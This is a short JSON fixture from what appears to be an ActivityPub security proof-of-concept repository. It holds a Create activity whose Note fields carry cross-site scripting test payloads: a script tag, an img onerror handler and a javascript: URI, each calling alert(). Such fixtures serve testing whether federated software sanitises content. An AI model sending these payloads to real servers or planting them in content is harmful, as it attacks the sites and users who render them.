Files
activitypub-security-poc/examples/xss-payload.json
2025-11-16 17:20:37 +01:00

17 líneas
541 B
JSON

{
"@context": "https://www.w3.org/ns/activitystreams",
"type": "Create",
"id": "https://example.com/activities/xss-test",
"actor": "https://example.com/users/tester",
"object": {
"type": "Note",
"id": "https://example.com/notes/xss-test",
"content": "<script>alert('XSS Test')</script>",
"name": "<img src=x onerror=alert('XSS')>",
"summary": "javascript:alert('XSS')",
"published": "2025-11-16T00:00:00Z",
"attributedTo": "https://example.com/users/tester"
},
"published": "2025-11-16T00:00:00Z"
}